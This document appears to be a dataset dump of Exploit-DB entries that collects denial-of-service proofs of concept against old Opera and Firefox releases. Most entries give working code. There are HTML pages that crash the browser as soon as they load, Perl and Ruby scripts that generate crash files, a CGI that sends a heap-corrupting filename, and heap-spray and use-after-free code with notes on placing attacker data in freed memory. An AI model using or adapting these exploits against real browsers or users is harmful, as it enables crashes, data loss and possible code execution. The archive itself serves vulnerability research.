deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11617
Description: Opera / Mozilla Firefox 3.6 - Long String Crash
Type: dos
Platform: windows
Date: 2010-03-02
Author: Asheesh kumar Mani Tripathi

Exploit:
                     =======================================================================

                             Mozilla Firefox 3.6 plenitude String Crash(0day) Exploit
                                Opera (plenitude String )Denial of Service Exploit 
                     =======================================================================

                                                     by

                                            Asheesh Kumar Mani Tripathi


# code by Asheesh kumar Mani Tripathi

# email informationhacker08@gmail.com

# company       www.aksitservices.co.in

# Credit by Asheesh Anaconda


#Download www.mozilla.com/firefox


#Background

Mozilla Firefox is a popular internet browser. .....:)

#Vulnerability
This bug is a typical result when attacker try to write plenitude String in
document.write() function .User interaction is required to 
exploit this vulnerability in that the target must visit a malicious 
web page.


#Impact
MOzilla Crash :)


#Proof of concept
copy the code in text file and save as "asheesh.html" and closed all tabs and windows to avoid any lost of data 

open in Mozilla Firefox and wait for 15 sec ...... :) and say Good Bye

Mozilla .......

Per usske phele Mozilla k antim darshan kar le :) Prem se bolo jai maata di

Mozilla Rest In Piece!!!!!!!!!!!!!!!!!!!!!!!!!!!

========================================================================================================================

                                                           asheesh.html
========================================================================================================================


<html>
<title>asheesh kumar mani tripathi</title>
</br>Asheesh kumar Mani Tripathi
<head>

<script>
	 
	
	
function asheesh ()
 {
	var	i=24 , anaconda = "XXXX"
	for(i=24;i >0 ;--i)
 {
		anaconda=anaconda+anaconda;
	} 
    
    document.write(anaconda); 

  
  
}

</script>
</head>

<body onLoad="asheesh()"></body>
</html>
                                                           
========================================================================================================================
BHAGAVAD GITA Quote
You came empty handed, you will leave empty handed. What is yours today, belonged to someone else yesterday, and will belong to someone else the day after tomorrow. So, whatever you do, do it as a dedication to God!

Tum khaali haath aaye, khaali haath chale. Jo aaj tumhara hain, wao kal kisi aur ka tha, parso kisi aur ka hoga. Tum isse apna samajhkar magna ho rahe ho,bus yahi prasannatha tumhare dukhon ka kaaran hain.

#If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #11332
Description: Opera 10.10 - Remote Code Execution Denial of Service
Type: dos
Platform: windows
Date: 2010-02-05
Author: cr4wl3r

Exploit:
#!/usr/bin/perl


# Title : Opera 10.10 Remote Code Execution DoS Exploit
# Tested : Windows xp (sp2)

# Description : Opera Web Browser is vulnerable DoS within its javascript tags (alert)
# This issue can be exploited by using a large value in a alert tags to create an out-of-bounds memory access 
# This have in advising at version 9.10 http://www.milw0rm.com/exploits/3871, and good news this issue still work on version 10.10

# Credits to Dj7xpl \ first exploiter
# Greetz : str0ke a great man :)
#          muts and exploit-db
#          opt!x hacker my best friend :d
#          and all INDONESIAN hacker community
# cr4wl3r kiss your soul from Gorontalo - INDONESIA

# Sorry for my bad english :p~

print qq(
###################################################
## Opera 10.10 Remote Code Execution DoS Exploit ##
## Credits : Dj7xpl                              ##
##           http://www.milw0rm.com/exploits/3871##
## Author : cr4wl3r <cr4wl3r[!]linuxmail.org>    ##
## Greetz : str0ke, opt!x hacker, xoron          ##
## all member at manadocoding.net                ##
## all member at indonesianhacker.org            ##
###################################################
);

my $header = "<html>\n<script>\n";
my $footer = "</script>\n</html>";


my $uhoh1 = "var buf = 'A';\n".
           "while (buf.length <= 44444444) buf+=buf;\n".
           "alert(buf)\n";

##################################################################
open(myfile,'>> uhoh1.html');
print myfile $header.$uhoh1.$footer;
##################################################################


my $uhoh2 = "alert(\'". "A" x 44444444 ."'\)"."\n";

##################################################################
open(myfile,'>> uhoh2.html');
print myfile $header.$uhoh2.$footer;
##################################################################

print "\nDone, successfully created!\n";
Exploit-DB #11247
Description: Opera 10.10 - XML Parser Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-01-24
Author: d3b4g

Exploit:
# From tiny islands of maldivies
# d3b4g.info
# Tested: version 10.10
# Tested on windows XP SP3
# 20-01-2010
# special thanks to peter Van Eeckhoutte

after opening the opera.html broswer hang for a while and crush.same bug in firefox too :d

This vulnerability  cause a denial of service (memory corruption) via an XML document composed of a long series of start-tags with no corresponding end-tags.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11247.rar (Opera_10.10-PoC.rar)
Exploit-DB #16979
Description: Opera 11.01 - NULL PTR Dereference
Type: dos
Platform: windows
Date: 2011-03-15
Author: echo

Exploit:
<html>
  <head>
  <title>Opera 11.01 Null Ptr Derefer</title>
  </head>
  <body>
   <script type="text/JavaScript" language="JavaScript">
   
    /*
    * [+]. Title : Opera 11.01 Null Pointer Derefernce 
    * [+]. Date : 15.03.2011 05:18
    * [+]. Author: echo
    * [+]. Version: 11.01
    * [+]. Software link: http://www.opera.com/download/
    * [+]. Tested on : Win32 xp home sp 2
    * [+]. CVE : NULL    
    * ---------------------------------------
    * 675B5646  MOV ECX,DWORD PTR DS:[EDI+8]   
    * DS:[00000008]=???
    * ECX=00000000   
    * EDI=00000000                    
    */
    var iWin  = window.open();
    var iShit = iWin.document.createElement("ANY");
        iWin.document.body.appendChild(iShit);
        iWin.close();
        iWin.document.cloneNode("HiH");  
        
   </script>
  </body>
</html>
Exploit-DB #18014
Description: Opera 11.51 - Use-After-Free Crash (PoC)
Type: dos
Platform: windows
Date: 2011-10-21
Author: Roberto Suggi Liverani

Exploit:
# Exploit Title: Opera Use After Free - Crash PoC
# Date: 20 October 2011
# Author: Roberto Suggi Liverani
# Software Link: www.opera.com
# Version: 11.51 and previous versions
# Tested on: Windows XP and Windows 7
# CVE : n/a
# Link: http://malerisch.net/docs/advisories/opera_use_after_free_crash_poc.html

<html>
<head>
<script>

function spray() {
for(S="\u0c0c",k=[],y=0;y++<197;)y<20?S+=S:k[y]=[S.substr(22)+"\u4141\u4141"].join("")

}

function crash(){
// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)

// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)

// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)

// Clone Object -> Remove Object - > Heap Spray

obj = document.body.children[1].cloneNode(true)
document.body.removeChild(document.body.children[1]);
spray(); // if this is removed Opera won't crash
}

</script>
</head>
<body onload="crash();">

<em contenteditable="true">a</em>
<strong contenteditable="true">a</strong>

</body>
</html>
Exploit-DB #26555
Description: Opera 12.15 - vtable Corruption
Type: dos
Platform: windows
Date: 2013-07-02
Author: echo

Exploit:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Opera 12.15 DOS POC</title>
</head>
<body>
<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">

 /* 
   Title: Opera 12.15 vTable Corruption
   Author: echo
   Test: Windows 7 x64
   Version: Opera 12.15 Win32
   Link: www.opera.com
 */

  var wnd = document.getElementById("wnd");
      wnd = wnd.contentWindow;
        
  function d00m()
  {     
               var tag   = [];
               tag.push(document.createElement("frame"));
               tag.push(document.createElement("meter"));
            
               wnd.document.body.appendChild(tag[0]);
               wnd.document.body.appendChild(tag[1]);

               /* step 1*/
               var obj   = tag[1];
                  
               var obj_1 = tag[0];
                      
               try{ obj_1.appendChild(obj); }catch(b){}
                                                                /* eax = [esi + 14h] = this->unknow20 */
               try{ obj_1.getBoundingClientRect(); }catch(a){}  /* ecx = [eax + 14h] = this->unknow20->unknow20 */
                                                                /* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */
               /* step 2*/   
               var obj   = tag[0];
      
               var obj_1 = tag[1];
                    
               try{ obj_1.appendChild(obj); }catch(b){}       
             
               try{ obj_1.getBoundingClientRect();}catch(a){}   /* eax = [esi + 14h] = this->unknow20 */
                                                                /* ecx = [eax + 14h] = this->unknow20->unknow20 */      
    }                                                           /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */
    
    d00m();


    /* so we have here some kind of memory corruption */
    /* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
    /* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
    /* logically next step should be checking why the vtable in "step 2" is corrupted */
    /* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */
    /* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */
     
    
    
   </script>
   <!--088241c155f232f70fcae7020157b9dcff210b84-->
  </body>
</html>
Exploit-DB #22550
Description: Opera 6.0.x/7.0 - Long File Name Remote Heap Corruption
Type: dos
Platform: windows
Date: 2003-04-28
Author: imagine & nesumin

Exploit:
source: https://www.securityfocus.com/bid/7450/info

A vulnerability has been reported for Opera versions 7.10 and earlier. The problem is said to occur due to insufficient bounds checking on filename extensions. As a result, it may be possible for an attacker to corrupt heap-based memory.

Successful exploitation of this vulnerability may result in a denial of service, possibly prolonged. If a malicious filename entry were placed in a cache file, Opera may continuously crash until the cache file has been deleted.

#!/usr/bin/perl
# Smash Heap Memory.
# This script is CGI program.

$|=1;
my $filename = "." . "\xCC" x (int(rand(0x20000)) + 0x100);

print "Content-type: text/html\r\n";
print qq~Content-Disposition: filename="$filename"\r\n~;
print "\r\n";
print "<html><body>Love & Peace :)</body></html>\r\n";
Exploit-DB #22239
Description: Opera 6.0/7.0 - 'Username' URI Warning Dialog Buffer Overflow
Type: dos
Platform: windows
Date: 2003-02-10
Author: nesumin

Exploit:
source: https://www.securityfocus.com/bid/6811/info

The Opera browser for Win32 (and possibly other) systems is prone to a remotely exploitable buffer overflow condition. For security purposes, Opera will display a warning any time a user of the client visits a link containing a username as part of the URI. An excessively long username will trigger a buffer overflow condition related to this security feature that may overwrite the stack frame of the affected function. Attackers may exploit this vulnerability to execute instructions on client systems. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22239.tgz
Exploit-DB #22240
Description: Opera 6.0/7.0 - opera.PluginContext Native Method Denial of Service
Type: dos
Platform: windows
Date: 2003-01-13
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/6814/info

Opera ships with a trusted Java class ('opera.PluginContext') that includes a native method that is reportedly prone to denial of service attacks. It is possible for a malicious Java applet to trigger this condition to cause a denial of service. This issue was reported in versions of Opera for Microsoft Windows operating systems. It is not known if other platforms are also affected. Java support must enabled for this issue to be present and can be disabled to prevent attacks. 

//Marc Schoenefeld 1/13/2003, www.illegalaccess.org
//not runnable, a little crippled, there are couple of obvious syntax errors
to avoid script-kidding

...
import opera.PluginContext; // !! import the vulnerable class
...

public class OperaCall2 extends App1et
{
- -
- - public OperaCall2()
- - {
- - }
- -
- - public void paint(Graphics g)
- - {
- - PluginContext plugincontext = new PluginContext(l);
- - try
- - {
- - plugincontext.showDocument(new URL("http://xxx.xxx" + new
String(new byte[30000])));
- - }
- - catch(Exception exception)
- - {
- - exception.printStackTrace();
- - }
- - }
}
Exploit-DB #22844
Description: Opera 7 - Denial of Service
Type: dos
Platform: windows
Date: 2003-06-30
Author: Operash

Exploit:
source: https://www.securityfocus.com/bid/8066/info

Opera has been reported to be prone to five denial of service vulnerabilities. These issues can be triggered when the browser attempts to interpret a document with malformed code. Exploitation could cause the browser to terminate or freeze.

This issue was reported for Opera on Microsoft Windows platforms. It is not known if other releases are affected.

[ CODE 1 ]

Just 12 bytes data "<!DOCTYPE" + NULL(\x00) + 1byte + ">" makes
CPU usage go up to 100%(depending on comp specs) and the computer
gets freeze down.

-----------------------------------------------------------------
<!DOCTYPE[\x00]A>
-----------------------------------------------------------------

[ CODE 2 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<form></form><script>document.forms[0].submit()</script>
-----------------------------------------------------------------

[ CODE 3 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<table>
<tr id="crash" style="display:inline"><td>
<script>crash.style.display = "none";</script>
</td></tr>
</table>
-----------------------------------------------------------------

[ CODE 4 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<table>
<map id="crash" style="position:absolute"></map>
<script>crash.style.height = crash.style.width = '0';</script>
</table>
-----------------------------------------------------------------

[ CODE 5 ]

CPU usage go up to 100%(depending on comp specs) and the computer gets freeze down.

-----------------------------------------------------------------
<html>
<head>
<style type="text/css">
<!--
.aaaaa:after{content:"A";display:block}
.bbbbb{display:run-in}
.ccccc{display:inline-block}
//-->
</style>
</head>
<body>
<div class="aaaaa">
<div class="bbbbb">
<div class="ccccc">
</div>
</div>
</div>
</body>
</html>
-----------------------------------------------------------------
Exploit-DB #6615
Description: Opera 9.52 - Window Object Suppressing Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-09-28
Author: Aditya K Sood

Exploit:
Opera Window Object Suppressing Remote Denial of Service.

*Version Affected:*
Opera 9.52

*Severity:*
High

*Description:*
The opera browser is vulnerable to window object based denial of
service attack. The opera fails to sanitize a check when window.close()
function is called in number of dynamically generated events.. The
function is called in a suppressed manner and kills the parent window
directly by default which makes it vulnerable to denial of service attack.

This security issue is a result of design flaw in the browser.Scripts
must not
close windows that were not opened by script,if script specific code is
designed.
There must be a parent window confirmation check prior to close of window.

*Proof of Concept*
*http://www.secniche.org/opera952/index.html*

Links:

http://www.secniche.org/advisory.html
http://evilfingers.com/advisory/index.php

*Detection:*
SecNiche confirmed this vulnerability affects Opera on Microsoft
Windows XP SP2 platform.The versions tested are:

Opera 9.52

*Disclosure Timeline:*
Disclosed: 28 September 2008
Release Date. 28 September ,2008

*Vendor Response:*
Vulnerability reported to Opera. Bug ID 365663

*Credit:*
Aditya K Sood

*Disclaimer*
The information in the advisory is believed to be accurate at the time
of publishing
based on currently available information. Use of the information
constitutes acceptance
for use in an AS IS condition. There is no representation or warranties,
either express or
implied by or with respect to anything in this document, and shall not
be liable for a ny
implied warranties of merchantability or fitness for a particular
purpose or for any indirect
special or consequential damages.

<html>
<title>Opera (9.5.2) Window Object Supressing Remote Denial of Service.</title>
<head></head>

<body><br><br>
<h2><center>Opera (9.5.2) Window Object Supressing Remote Denial of Service.<br><br>Proof of Concept</br></br> </center></h2>


<center>
<b>Note:: Click the understated links to Trigger the Vulnerability..</b><br><br>
<hr></hr>
<b>This POC has been designed with minimum object usage.</b></br></br>

<hr></hr>
<b><center><a href="javascript:window.close(self);">Opera 9.52 Window Object Suppressing DoS Test POC</a></center>


<br>
Version 9.52<br>
Build   10108<br>
Platform Win32<br>
System Windows XP<br>
Java Sun Java Runtime Environment version 1.6<br>
XHTML+Voice Plug-in not loaded<br>

<hr></hr>
</center>
</body>


</html>

# milw0rm.com [2008-09-28]
Exploit-DB #24448
Description: Opera SVG - Use-After-Free
Type: dos
Platform: windows
Date: 2013-02-05
Author: Cons0ul

Exploit:
<svg xmlns="http://www.w3.org/2000/svg"	xmlns:xlink="http://www.w0.org/1999/xlink">
<g id="group">
<defs>
    <clipPath id="clip-circle" clip-path="url(#clip-rect)">
    </clipPath>
     <clipPath id="clip-rect">
    </clipPath>
</defs>
<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
</g>
<script><![CDATA[ 

//Author=Cons0ul

var b = new Array();

// this is our spray function where spray is allocated on LFH with exact size 0x78 
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();

function feng_shui(){

for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection


	for(i=0;i<0x50000;i++){
		payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
		payload[0]=0x6c
		payload[1]=0x03
		payload[2]=0xfe
		payload[3]=0x7f
		b.push(payload)
	}
}


// bug is use after free in handling of (use tag + clippath) witch try to access freed object
// 

		document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
		var c = document.createElement('use');
		c.setAttribute("xlink:href","rect")
				
		feng_shui();
		document.getElementById('clip-rect').appendChild(c);
		document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
		window.opera.collect() // <------ gc() frees the allocation
		feng_shui();	//   <------------ we allocate our code at freed memory
		// at the end it tries freed block witch contains our data
		window.location.href=window.location.href;


/*	  

idc !heap -p -a ecx

  address 077c45e0 found in
    _HEAP @ b40000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        077c45d8 0010 0000  [00]   077c45e0    00078 - (free)



PS C:\Users\cons0ul> idc db ecx
077c45e0  92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  .H..............
077c45f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4650  00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88  ..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008          call    dword ptr [eax+8]    ds:0023:7ffe489a=????????
*/

		]]></script>
</svg>
Exploit-DB #16042
Description: Opera Web Browser 11.00 - Integer Overflow
Type: dos
Platform: windows
Date: 2011-01-25
Author: C4SS!0 G0M3S

Exploit:
#
#
#[+]Exploit Title: Exploit Integer Overflow Opera Web Browser 11.00
#[+]Date: 24\01\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://get12.opera.com/pub/opera/win/1100/int/Opera_1100_int_Setup.exe
#[+]Version: 11.00
#[+]Tested On: WIN-XP SP3 PORTUGUESE BRAZILIAN
#[+]CVE: N/A
#
#
#
#Note:
#This exploit is only a Denial of Service in opera web browser
#I created a poc using heap spray that allow code execution
#but I will not post here because it can be used for evil
#And I do not want that.
#   for you to explore the program you control with the number esi childrens then created using a spray heap address any such
#0a0a0a0a the data in address should be the point to the beginning of the shellcode
#0a0a0a0a => \x90\x90\x90 => and your shellcode
#Then the function mov eax, [esi] places the value in eax then the program call eax  and boom run shellcode !!!!!
#
#
#




print "[*]Creating the Exploit\n"
i = 0
buf = "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n" 

while i<0x4141 
     buf += "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n" 
	 i+=1
end

HTML =
"<html>\n"+
"<body>\n\n"+
"<select>\n\n"

HTML+=buf * 100
HTML += "\n\n\n\</select>\n\n"+
"</body>\n\n\n"+
"</html>\n\n\n\n\n"

f = File.open("Exploit_opera_11.00.html","w")
f.puts HTML
f.close
puts "\n\n\[*]File Created With Sucess"
sleep(1)
puts "[*]Go to my Site www.invasao.com.br!"
sleep(1)